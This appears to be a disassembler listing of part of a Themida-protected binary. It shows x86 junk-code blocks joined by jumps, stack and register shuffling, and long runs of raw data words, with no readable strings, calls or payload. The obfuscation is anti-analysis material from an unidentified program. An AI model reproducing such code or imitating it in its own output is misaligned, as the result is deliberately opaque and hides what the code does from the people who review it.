		dd 0E953D3F7h, 0FFFFF011h, 55E68956h, 4BDh, 8BEE0100h
		dd 0C483242Ch, 4C68304h, 2474FF56h, 48F5E04h, 38A2E924h
		dd 8B540000h, 0C4812404h, 4, 2B3DE9h, 0E7815D00h, 5771608Eh
		dd 4028B951h, 0C981500Ch, 56DC4662h, 358CC181h,	0E1812DB9h
		dd 5D1A07E0h, 407BE981h, 0F1810D8Dh, 8DBEDBB6h,	0FFE179E9h
		dd 48B66FFh, 0E9545624h, 3D4h, 0E8C1E0D1h, 0FDBB5308h
		dd 81102737h, 0E10DE1EBh, 2AA4E962h, 0E2890000h, 4C281h
		dd 56500000h, 7F405DBEh, 5EF08975h, 59D2E9h, 6FE95E00h
		dd 0BF000050h, 4, 0CBE9FA01h, 0F6000056h, 2CE950DDh
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547DB3:				; CODE XREF: Themida_:0054738Cj
		sub	eax, 47DA0E4Ch
		jmp	loc_548F1F
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 10h
		dd 0C113A533h, 0E7E904E9h, 0FF000040h, 48B2434h, 514B6824h
		dd 4890000h, 48B5424h, 0A688E924h, 525EFFFFh, 5F583BAh
		dd 5AD731B5h, 6A1DC181h, 0F9013A11h, 6A1DE981h,	815F3A11h
		dd 4C1h, 240C8700h, 3124248Bh, 69E92404h, 5CFFFF95h, 1BB868h
		dd 24148900h, 4FDDE955h, 0ED800000h, 59EB2867h,	8053B450h
		dd 0E300BBF4h, 81C30058h, 4ECh,	24148900h, 77A868h, 240C8900h
		dd 23B21EB5h, 0FFBCFFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547E49:				; CODE XREF: Themida_:0054CDF6j
		inc	edi
		sub	edi, 529AF249h
		sub	ecx, edi
		pop	edi
		jmp	loc_54BA9A
; ---------------------------------------------------------------------------


loc_547E58:				; CODE XREF: Themida_:00546F15j
		mov	[esp], esi
		push	4C85243Fh
		mov	esi, [esp]
		jmp	loc_549F4D
; ---------------------------------------------------------------------------


loc_547E68:				; CODE XREF: Themida_:005438F1j
		add	esp, 4
		jmp	loc_54803C
; ---------------------------------------------------------------------------
		dd 159CF29h, 243C8BFBh,	4C481h,	0C3830000h, 241C8704h
		dd 0E924248Bh, 0FFFF94ECh, 5C243C87h, 4BD55h, 56050000h
		dd 1298539h, 3671E9E8h,	4B80000h, 1000000h, 575658C1h
		dd 0FFD255E9h, 81E189FFh, 4C1h,	58D0E900h, 0F1810000h
		dd 0A9D146Fh, 0DD8AE981h, 0CD8901EEh, 37ED8159h, 2914BDCCh
		dd 64E95DEBh
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547EDB:				; CODE XREF: Themida_:0054C784j
		pop	ebx
		push	ebx
		mov	ebx, 6A3709FCh
		sub	ebx, 0ECADA9FDh
		sub	edx, ebx
		pop	ebx
		jmp	loc_54B767
; ---------------------------------------------------------------------------
		dd 0BB53D629h, 51B264D6h, 5D4EF381h, 0F38108C0h, 330B3447h
		dd 3BC3BA52h, 0EA8157AAh, 2706BEB3h, 815AD329h,	84226CBh
		dd 24F38169h, 14393E5h,	875A5BDEh, 895C2434h, 0B3B1240Ch
		dd 0FFC306E9h, 240C89FFh, 2B53E9h, 7889BE00h, 14E96C86h
		dd 59FFFFBEh, 4C481h, 0C4810000h, 4, 0FFD592E9h, 0C8E95EFFh
		dd 1FFFFEAh, 0EF0158C5h, 0FFDBCCE9h, 0FC009FFh,	46684h
		dd 1C77FF00h, 8904EC83h, 0BE562404h, 1BD94B1Bh,	2AF0B850h
		dd 0C6317D54h, 0FFB293E9h, 243CD2FFh, 93E6E99Ch, 0F66FFFFh
		dd 0CAE902B6h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547F9B:				; CODE XREF: Themida_:0054CC57j
		mov	[esp], cx
		push	701Dh
		mov	[esp], ebx
		jmp	loc_548479
; ---------------------------------------------------------------------------


loc_547FAC:				; CODE XREF: Themida_:005449FEj
		add	ebp, ecx
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		add	bl, al
		push	5888h
		mov	[esp], eax
		mov	al, 0DDh
		jmp	loc_54C8A8
; ---------------------------------------------------------------------------
		dw 1C89h
		db '$h~)',0
		align 2
		dw 489h
		dd 2434FF24h, 81241C8Bh, 4C4h, 4EC8100h, 89000000h, 0E389241Ch
		dd 4EC81h, 4890000h, 1002B824h,	0BE92FCAh, 55000059h, 4BDh
		dd 0E9E90100h, 2301h, 598CE9ADh, 9A680000h, 5F3B2402h
		dd 0E781DFF7h, 1E059FEh, 5602EFC1h, 9B2BACBEh, 81DEF741h
		dd 673737CEh, 0BDEE8113h, 0E9471F11h, 4039h
; ---------------------------------------------------------------------------


loc_54803C:				; CODE XREF: Themida_:00547E6Bj
		push	5136h
		jmp	loc_54839F
; ---------------------------------------------------------------------------
		dw 0B8h
		dd 5000000h, 26201245h,	452DE829h, 0E9262012h, 52FDh
; ---------------------------------------------------------------------------


loc_54805C:				; CODE XREF: Themida_:00548B8Ej
		not	edx
		jmp	loc_541F57
; ---------------------------------------------------------------------------
		db 5Dh
		dd 31241433h, 14332414h, 24248B24h, 4B30F66h, 0FDE99C24h
		dd 66FFFF92h, 0E9240C8Bh, 0FFFFFBF4h, 4B8h, 205FE900h
		dd 0CE810000h, 6D7E2784h, 83EE8146h, 152CF67h, 0F7815EF7h
		dd 3AE258AAh, 14FCEF81h, 814F48A1h, 0E5135AF7h,	2DFBE9BDh
		dd 0E1C00000h, 8E1C008h, 28FFC180h, 435BE9CEh, 0F2810000h
		dd 6E865EE8h, 148BD601h, 4C48124h, 52000000h, 2BAh, 5AD60100h
		dd 31243433h, 34332434h, 0E7E95C24h, 83000029h,	42E904ECh
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5480F7:				; CODE XREF: Themida_:0054D08Cj
		mov	edi, [esp]
		add	esp, 4
		shl	edi, 7
		sub	edi, 27203DBEh
		push	edi
		pop	ebx
		jmp	loc_543B30
; ---------------------------------------------------------------------------
		dd 1C8C68h, 240C8900h, 0FFDE1DE9h, 0C1DBF7FFh, 0CDE902EBh
		dd 81FFFFFBh, 3A7E52E2h, 0F7DAF753h, 81DAF7DAh,	6CCE19EAh
		dd 0E9D70128h, 0FFFFD073h, 5E2434FFh, 81E38953h, 4C3h
		dd 4C38300h, 5C241C87h,	0FFD2ECE9h, 0F7D987FFh,	0C001E9D3h
		dd 0C483FFFFh, 0E9545104h, 286h, 5154EB81h, 0FB29451Fh
		dd 1C70E9h, 3C77FF00h, 8904EC83h, 0CBE9242Ch
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548187:				; CODE XREF: Themida_:00542FE8j
		push	3DF7h
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_5452DE
; ---------------------------------------------------------------------------
		db 80h,	0F1h, 41h
		dd 665FC980h, 2414F651h, 0E9C05966h, 54A2E904h,	0C5810000h
		dd 31243911h, 4ED835Fh,	0E9242C33h, 0FFFFF567h,	2474FF50h
		dd 48F5804h, 0E1895124h, 4C181h, 24E90000h, 33FFFFCFh
		dd 0C31240Ch, 240C3324h, 6824248Bh, 33D9h, 0FFD556E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5481ED:				; CODE XREF: Themida_:00544A3Bj
		dec	dh
		xor	dh, 0Dh
		sub	bl, dh
		pop	edx
		push	eax
		jmp	loc_54790B
; ---------------------------------------------------------------------------
		db 0ADh
		dd 7F9BE56h, 71E96931h,	5500001Eh, 455B55BDh, 0E581455Ch
		dd 41AB5E72h, 7881CD81h, 0ED811D07h, 7D611D93h,	615FE581h
		dd 0BA525475h, 57CC4961h, 0F44E9h, 1ED8300h, 0FE0CE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54823A:				; CODE XREF: Themida_:005451BFj
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5487BC
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 0EC810000h, 4, 0FFB197E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548259:				; CODE XREF: Themida_:00543CE7j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	edi
		mov	edi, 422A224Eh
		jmp	loc_54C4BA
; ---------------------------------------------------------------------------
		db 50h
		dd 0D6242C81h, 8B599463h, 74E9243Ch
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54827F:				; CODE XREF: Themida_:0054C503j
		add	ecx, edi
		push	ebx
		mov	ebx, 3FC082Fh
		add	ebx, 0FFFFFFFFh
		neg	ebx
		xor	ebx, 7F95571Dh
		add	ebx, 16432C0Eh
		shl	ebx, 2
		add	ebx, 0F7D9E49Dh
		add	ecx, ebx
		pop	ebx
		jmp	loc_5435C9
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 1FEAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5482B1:				; CODE XREF: Themida_:005475ADj
		pop	ebx
		xor	ebx, 49CC26F3h
		mov	ecx, ebx
		jmp	loc_54D81D
; ---------------------------------------------------------------------------


loc_5482BF:				; CODE XREF: Themida_:0054D37Ej
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	edi, 72D26C09h
		add	edi, ecx
		jmp	loc_543B8E
; ---------------------------------------------------------------------------
		dd 825B252h, 0B4E95AD5h, 66FFFFAAh, 6824048Bh, 6834h, 89243C89h
		dd 91BDE9E7h, 0EE29FFFFh, 0E9242C8Bh, 4461h, 8B240487h
		dd 0E92424h, 66000037h,	0E9240489h, 0FFFF905Ch,	239BA52h
		dd 42E920D8h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548327:				; CODE XREF: Themida_:0054B769j
		mov	ebp, 2DBF5D5Fh
		add	[esp+4], ebp
		jmp	loc_54A6B0
; ---------------------------------------------------------------------------
aLSu		db '‹$$éu/',0
		dd 48F58100h, 107218Bh,	2434FFE8h, 0FFE8F7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54834D:				; CODE XREF: Themida_:005419CAj
		push	2DB7h
		jmp	loc_54644D
; ---------------------------------------------------------------------------
		db 80h
		dd 0CB0015EBh, 5915C380h, 0EB80C300h, 11C38047h, 0FFC023E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54836D:				; CODE XREF: Themida_:0054CC33j
		pop	ecx
		shl	esi, 8
		push	ebp
		mov	ebp, 0ED12B0Ch
		sub	esi, ebp
		mov	ebp, [esp]
		jmp	loc_545004
; ---------------------------------------------------------------------------
		db 56h,	68h, 0FDh
		dd 8B722B3Ch, 0C4812434h, 4, 0FF96B5E9h, 5AD388FFh, 5BE9D888h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54839F:				; CODE XREF: Themida_:00548041j
		mov	[esp], esi
		mov	esi, 2EA6663Dh
		not	esi
		add	esi, 9F282EE6h
		sub	eax, 24313FC1h
		sub	eax, 1F95B3Ah
		sub	eax, 0F764ED0h
		sub	eax, esi
		push	ecx
		jmp	loc_541ABC
; ---------------------------------------------------------------------------
		dw 0E901h
		dd 0FF9768E9h, 4C483FFh, 5604C483h, 4EC81h, 77E90000h
		dd 4F000049h, 8904EC83h, 6FBA2414h, 21725258h, 0D35AE9D7h
		dd 8159FFFFh, 4C1h, 4C07E900h, 34FF0000h, 0C145E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548406:				; CODE XREF: Themida_:005448C7j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	ecx, ecx
		jz	loc_54BD98
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_54C1C5
; ---------------------------------------------------------------------------
		db 0BDh
		dd 18933321h, 2C8BE901h, 4C48124h, 51000000h, 592414F7h
		dd 0D3FDF181h, 0D1E9BE8Eh, 81FFFFBBh, 2A7110F5h, 0E9EF8964h
		dd 0FFFFDA97h, 0E924048Fh, 0FFFFE040h
; ---------------------------------------------------------------------------


loc_548468:				; CODE XREF: Themida_:00545862j
		mov	ebp, 4E9446EFh
		push	ecx
		sub	esp, 4
		jmp	loc_54B9D3
; ---------------------------------------------------------------------------


loc_548479:				; CODE XREF: Themida_:00547FA7j
		mov	bl, 0E3h
		mov	ch, bl
		pop	ebx
		push	edx
		mov	dh, 0F7h
		jmp	loc_54CF98
; ---------------------------------------------------------------------------


loc_548486:				; CODE XREF: Themida_:0054BB87j
		xor	ebp, ecx
		pop	ecx
		jmp	loc_5418F5
; ---------------------------------------------------------------------------
aXsi		db 'Xé¨:',0
		align 4


loc_548494:				; CODE XREF: Themida_:0054B031j
		or	esi, 20002835h
		sub	esi, 1
		push	esi
		not	dword ptr [esp]
		pop	esi
		xor	esi, 82A44EB5h
		xor	ebp, esi
		pop	esi
		and	eax, ebp
		pop	ebp
		shr	eax, 0Eh
		xor	eax, ecx
		push	4904h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_541586
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 6Ah
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5484CF:				; CODE XREF: Themida_:0054714Cj
		xchg	eax, [esp]
		jmp	loc_54579C
; ---------------------------------------------------------------------------
aPirsw7		db '^P䈎W7',0
		align 10h
		dd 36196858h, 0C890000h, 81E18924h, 4C1h, 4E98100h, 87000000h
		dd 248B240Ch, 240C8924h, 2B9h, 0C8BDE900h, 555DFFFFh, 6855C589h
		dd 1392h, 0BD242C89h, 1C8E1CF6h, 4244481h, 6FD5498Ch, 4246C01h
		dd 498CBA52h, 54296FD5h, 5D5A0824h, 83240C8Bh, 0BF5704C4h
		dd 714C454Eh, 8DEF814Fh, 0F777CB77h, 9027E9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54854E:				; CODE XREF: Themida_:00541D19j
		add	esi, edx
		jmp	loc_545FDD
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 8704C483h, 525C241Ch, 0FB681BBAh, 409FE938h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54856A:				; CODE XREF: Themida_:00549998j
		sub	ecx, 3A847AA3h
		jmp	loc_5460CC
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 2Bh
		dd 81536860h, 526937F6h, 8BF72969h, 0C4832434h,	0FFFE8904h
		dd 815F2434h, 4C4h, 5EF00100h, 0F66C331h, 545100B6h, 14A8E9h
		dd 1C77FF00h, 6658669Dh, 9C240411h, 0FF8DC3E9h,	59CB89FFh
		dd 0DD51E943h, 0B9FFFFh, 1000000h, 0E91188C1h, 4CFFh, 8B241487h
		dd 77FF2424h, 2434FF1Ch, 81240C8Bh, 4C4h, 4EC8100h, 89000000h
		dd 1FE92414h, 0BF000022h, 0D15FA161h, 3C8BF831h, 4C48124h
		dd 1000000h, 575058C3h,	0FFFA09E9h, 4C483FFh, 5C24048Fh
		dd 261EE9h, 0E9E08900h,	0FFFFBDE2h, 180368h, 24248900h
		dd 4240483h, 4EC835Eh, 0E9241C89h, 0FFFFEED6h, 0C2164D2Dh
		dd 1423E910h, 0A8040000h, 46768h, 24148900h, 465DE9h, 5B8ABF00h
		dd 0DFF72F54h, 8105EFC1h, 0D63C1EF7h, 77BD552Ah, 0E902BA39h
		dd 0FFFFA049h, 965C1A68h, 1CBB5919h, 8119965Ch,	0B67758EBh
		dd 99D9E96Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54867E:				; CODE XREF: Themida_:00545A19j
		pop	esi
		jmp	loc_546679
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 14875F00h, 0E95824h, 52FFFFCCh, 42474FFh
		dd 6824148Bh, 3742h, 89240C89h,	4BD55E1h, 0E9000000h, 0FFFFE0C5h
; ---------------------------------------------------------------------------


loc_5486B4:				; CODE XREF: Themida_:0054A28Ej
		push	esi
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5461C1
; ---------------------------------------------------------------------------
		db 0B8h, 2, 0
		dd 0AE90000h, 55FFFFC8h, 5D2414F7h, 45D5F74Dh, 3F7ABE56h
		dd 0BD5539E7h, 46FF3CF6h, 0E906EDC1h, 2626h
; ---------------------------------------------------------------------------


loc_5486F0:				; CODE XREF: Themida_:005459D1j
		add	esp, 4
		and	eax, ebx
		pop	ebx
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 78721DEEh
		mov	edx, edi
		pop	edi
		shl	edx, 1
		sub	edx, 77C3130Ah
		jmp	loc_545D99
; ---------------------------------------------------------------------------
		dd 0C8B60F5Ch, 0C9E95456h, 52FFFF97h, 205552BAh, 0EBBAE91Eh
		dd 3C33FFFFh, 8B665C24h, 0EC832404h, 24148904h,	52535A54h
		dd 635F7DBAh, 5AD3892Ah, 0FFEEC8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548759:				; CODE XREF: Themida_:0054D3C0j
		mov	[esp], ebp
		push	103775A8h
		jmp	loc_544AE5
; ---------------------------------------------------------------------------
		dw 0F75Fh
		dd 11C581DDh, 8140E570h, 6880D5F5h, 66DD2D5Dh, 0E8292D0Dh
		dd 17A9E9h, 5DEF0100h, 4C781h, 3C330000h, 243C3124h, 1233E9h
		dd 53C32800h, 0C381E389h, 4, 4EB81h, 1C870000h,	0C895C24h
		dd 92B45024h, 0B252DCF6h, 0E9D430B5h, 4E1Eh
; ---------------------------------------------------------------------------


loc_5487BC:				; CODE XREF: Themida_:00548240j
		pop	esp
		jmp	loc_54C886
; ---------------------------------------------------------------------------


loc_5487C2:				; CODE XREF: Themida_:0054C51Aj
		and	ebp, 773584Dh
		inc	ebp
		dec	ebp
		sub	ebp, 212103Fh
		mov	edi, ebp
		pop	ebp
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_546812
; ---------------------------------------------------------------------------


loc_5487DD:				; CODE XREF: Themida_:00543CC4j
		add	edi, 0A03BDAA8h
		jmp	loc_546BF7
; ---------------------------------------------------------------------------
		dd 0E9D830ACh, 35FEh, 81E28952h, 4C2h, 4EA8300h, 5C241487h
		dd 50241C89h, 0C45FE956h, 8B66FFFFh, 3068240Ch,	89000046h
		dd 0E2892414h, 4EC81h, 0C890000h, 6BB0B924h, 1BE9674Dh
		dd 8BFFFF96h, 0C4832434h, 0C1815804h, 2, 2474FF51h, 240C8B04h
		dd 3764E9h, 4332C00h, 240C8BF8h, 0A889E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548852:				; CODE XREF: Themida_:0054432Bj
		pop	ecx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	1020h
		jmp	loc_547BC8
; ---------------------------------------------------------------------------


loc_548867:				; CODE XREF: Themida_:00549EF2j
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_542A68
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 4BD24h, 39E90000h, 66FFFFC0h, 0E9240C8Bh, 387Fh, 1D5E17BFh
		dd 6E7C13Dh, 24F7E781h,	0C78118FCh, 3D70369Ah, 0C1D7F74Fh
		dd 8B6803EFh, 0E9000064h, 0FFFFB3D3h, 31C6E9ACh, 0FE880000h
		dd 0E9F48850h, 0FFFFCCF9h, 57C2015Bh, 255731BFh, 0BCE78119h
		dd 477A6E6Dh, 8106EFC1h, 2A5540EFh, 81EFD14Fh, 0B90994C7h
		dd 5FFA01E0h, 9EC281h, 79E9731Ah, 66FFFF8Ah, 52240C8Bh
		dd 24148B54h, 0FF9374E9h, 4C681FFh, 83000000h, 3E904C6h
		dd 68FFFF94h, 16F2h, 89243489h,	4C681E6h, 68000000h, 43E1h
		dd 81243C89h, 4ECh, 241C8900h, 299CB850h, 0C38946C8h, 2998BF58h
		dd 31E946C8h, 5DFFFF8Ah, 0FFC768E9h, 81D6F7FFh,	0BB48BBE6h
		dd 9C6811Dh, 813C7C48h,	0AF909EF6h, 5EF1294Ch, 8B240C87h
		dd 89662424h, 0B2E92404h, 89000048h, 4BF57E2h, 1000000h
		dd 0B8E1E9FAh, 815DFFFFh, 2F32F2EEh, 50BB5341h,	0E97F6342h
		dd 29C0h
; ---------------------------------------------------------------------------


loc_54899C:				; CODE XREF: Themida_:0054A853j
		push	edi
		push	eax
		push	54B100ACh
		pop	eax
		shr	eax, 5
		sub	eax, 2A58005h
		mov	edi, eax
		pop	eax
		mov	esi, edi
		mov	edi, [esp]
		push	7950h
		mov	[esp], eax
		mov	eax, esp
		push	22C2h
		mov	[esp], edi
		mov	edi, 2FBA4A1Ch
		jmp	loc_542379
; ---------------------------------------------------------------------------
		dd 1C70E181h, 0D9F71020h, 1429C181h, 0F18100D6h, 0CBE211A2h
		dd 0E981D1F7h, 9937CE06h, 0C8BC889h, 4C48124h, 31000000h
		dd 58042444h, 56BE5658h, 0F76BF32Ah, 0BA524EDEh, 6AE05350h
		dd 3870E281h, 0E94A5A71h, 0FFFFD0EFh
; ---------------------------------------------------------------------------


loc_548A18:				; CODE XREF: Themida_:00547478j
		add	esp, 4
		sub	dl, 0EBh
		not	dl
		sub	esp, 4
		mov	[esp], edx
		not	byte ptr [esp]
		jmp	loc_54358F
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 8
		dd 1464F281h, 7BE90000h, 89000022h, 9CE92414h, 66000008h
		dd 246C8652h, 0B1B8E901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548A52:				; CODE XREF: Themida_:00549428j
		mov	edx, edi
		pop	edi
		push	edx
		mov	edx, 9E7198Ah
		mov	ebx, edx
		pop	edx
		add	ebx, edx
		pop	edx
		jmp	loc_544917
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 29000000h, 0A18CE9FAh, 148BFFFFh, 0E6895624h, 4C681h
		dd 91E90000h, 57FFFFC1h, 3E3437BFh, 31E7815Bh, 0E9204414h
		dd 0FFFFD3BDh, 8F24248Bh, 248B2404h, 0BB0F6624h, 0E99C2404h
		dd 0FFFF88D0h, 3487574Fh, 87D6F724h, 0E95F2434h, 0FFFFC261h
		dd 0E902E9C1h, 5A1h
; ---------------------------------------------------------------------------


loc_548AC0:				; CODE XREF: Themida_:00544CD4j
		pop	eax
		jmp	loc_543F12
; ---------------------------------------------------------------------------


loc_548AC6:				; CODE XREF: Themida_:0054671Ej
		pop	bx
		push	ebx
		mov	bh, 0B9h
		jmp	loc_5466DB
; ---------------------------------------------------------------------------
		dd 3C5FEA81h, 0C2013F0Bh, 3C5FC281h, 0E9583F0Bh, 2FAFh
		dd 42474FFh, 81240C8Bh,	4C4h, 24048F00h, 2434FF5Ch, 0E92434FFh
		dd 4234h, 582414F7h, 0BB53h, 0C3290000h, 5B585350h, 0D371055Bh
		dd 0C381E780h, 3FA523FDh, 0EB81C301h, 3FA523FDh, 4475E958h
		dd 8B660000h, 86E92404h, 66000049h, 0E924148Bh,	4A49h
		dd 0C62DE0D1h, 0E9E84ED0h, 949h, 0E904EC83h, 0FFFFACC5h
; ---------------------------------------------------------------------------


loc_548B50:				; CODE XREF: Themida_:00549F25j
		pop	eax
		jmp	loc_5495C3
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C896624h, 302AE924h, 0BD550000h, 79BE2C05h,	45F5E9h
		dd 2434FF00h, 29C2E9h
		db 0
; ---------------------------------------------------------------------------


loc_548B75:				; CODE XREF: Themida_:00544572j
		and	esi, ecx
		pop	ecx
		push	edi
		mov	edi, 280402Ch
		sub	esi, edi
		jmp	loc_543C1D
; ---------------------------------------------------------------------------


loc_548B85:				; CODE XREF: Themida_:005433CEj
		not	edx
		xchg	edx, [esp]
		pop	edx
		shl	edx, 1
		dec	edx
		jmp	loc_54805C
; ---------------------------------------------------------------------------


loc_548B93:				; CODE XREF: Themida_:00547074j
		add	ebp, 4
		jmp	loc_54261D
; ---------------------------------------------------------------------------


loc_548B9E:				; CODE XREF: Themida_:00541D59j
		push	0D30h
		jmp	loc_5444FD
; ---------------------------------------------------------------------------
		dd 0BEE9F001h, 81FFFFC5h, 4C2h,	0E6895600h, 4C681h, 0EE830000h
		dd 24348704h, 2404895Ch, 0B806CCB8h, 0E8C1407Ch, 1F97E908h
		dd 852C0000h, 0B7535A66h, 66DFF614h, 3095B050h,	45866C7h
		dd 0E9262C87h, 4471h, 8B2434FFh, 0C4832404h, 38236804h
		dd 0C890000h, 0C8B5424h, 3BCAE924h, 148B0000h, 8B545324h
		dd 0C481241Ch, 4, 8904EC83h, 5552243Ch,	3863BCBDh, 0C7A8BA23h
		dd 0EA010B14h, 8BD7895Dh, 0C4832414h, 7CC78104h, 81329311h
		dd 0AB67ECF7h, 1FB95134h, 8169EA64h, 240814F1h,	0FDC18102h
		dd 0E9E87CEEh, 0FFFFF218h, 9CC83B5Ch, 0FF8717E9h, 61EF81FFh
		dd 11F5B24h, 61C781EFh,	0FF1F5B24h, 94E92434h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548C77:				; CODE XREF: Themida_:00547701j
		pop	ebp
		jmp	loc_545026
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4C5815Ch, 0E9000000h, 0FFFFC917h, 0FECF814Fh, 0C17D9308h
		dd 90E903E7h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_548C9B:				; CODE XREF: Themida_:00543651j
		mov	eax, edi
		pop	edi
		pop	ebp
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_545DC4
		push	dword ptr [edi+1Ch]
		jmp	loc_543787
; ---------------------------------------------------------------------------


loc_548CB6:				; CODE XREF: Themida_:00545355j
		shr	edi, 8
		xor	edi, 168B6007h
		and	edi, 60C81209h
		jmp	loc_54A7DA
; ---------------------------------------------------------------------------


loc_548CCA:				; CODE XREF: Themida_:0054D8ADj
		xor	edi, 0DF10D4E2h
		push	edx
		mov	edx, edi
		mov	esi, edx
		jmp	loc_54C223
; ---------------------------------------------------------------------------


loc_548CDA:				; CODE XREF: Themida_:00549434j
		push	568Fh
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		push	esi
		jmp	loc_545413
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 79E95924h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548CFB:				; CODE XREF: Themida_:00547BCBj
		mov	ecx, 24h
		add	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		push	esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ecx
		jmp	loc_546E75
; ---------------------------------------------------------------------------
		dd 7D6BEA81h, 0D689611Ch, 5E31895Ah, 68D23159h,	2055h
		dd 0FF241C89h, 57582434h, 5FE9E789h, 81FFFFA7h,	5F6B68EBh
		dd 5BD8899Ah, 80D7925h,	2E8C109h, 7461040Dh, 57D8F769h
		dd 0FFF896E9h, 861AE9FFh, 15E9FFFFh
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548D63:				; CODE XREF: Themida_:0054D527j
		mov	[esp], ebp
		push	esi
		mov	esi, 6B5B0980h
		inc	esi
		sub	esi, 6E0355E4h
		jmp	loc_54D12B
; ---------------------------------------------------------------------------


loc_548D78:				; CODE XREF: Themida_:005468BFj
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_54B349
; ---------------------------------------------------------------------------


loc_548D88:				; CODE XREF: Themida_:00546E9Ej
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5479BB
; ---------------------------------------------------------------------------
		dw 1A05h
		dd 17C0927h, 0D82958C3h, 58C6015Bh, 81E28952h, 4C2h, 3AFDE900h
		dd 88B90000h, 291AFB65h, 240C8BCBh, 2904C483h, 241C8BD8h
		dd 4C481h, 0F8010000h, 110C1B05h, 243C8B61h, 4C481h, 0C3810000h
		dd 7901EEh, 3179EB81h, 0C38111D9h, 0EF43826h, 0FFE40BE9h
		dd 14C781FFh, 1F25A91h,	0EC815FFDh, 4, 0B8240489h, 4, 0E958C501h
		dd 13F5h, 81E38953h, 4C3h, 2BE5600h, 29000000h,	2434FFF3h
		dd 0FF93D7E9h, 24148BFFh, 3304C483h, 0D2E9243Ch, 81000043h
		dd 963D7C2h, 7AE95055h,	52FFFFB1h, 42474FFh, 9DF2E95Ah
		dd 895CFFFFh, 0EC832414h, 243C8904h, 2F2BE5BFh,	1B6CE900h
		dd 58510000h, 80BA5259h, 0C11CCC46h, 0C28103EAh, 0C7F7F22h
		dd 0E908EAC1h, 2091h, 0D71F382Dh, 0E9C80138h, 23E6h, 81E68956h
		dd 4C6h, 4B95100h, 1000000h, 279DE9CEh,	0C3000000h, 0C0B60F58h
		dd 87048F66h, 0FF84CBE9h, 4E1C1FFh, 4EC81h, 4890000h, 0C446B824h
		dd 0C131BD29h, 38D3E9h,	0E9C30100h, 238Fh, 8244429h, 8244481h
		dd 61834AC5h, 242C8B58h, 81E38953h, 4C3h, 4C38100h, 87000000h
		dd 0E95C241Ch, 0FFFFE3C8h
; ---------------------------------------------------------------------------


loc_548EF4:				; CODE XREF: Themida_:00542C1Bj
		pop	ecx
		jmp	loc_54B1FD
; ---------------------------------------------------------------------------


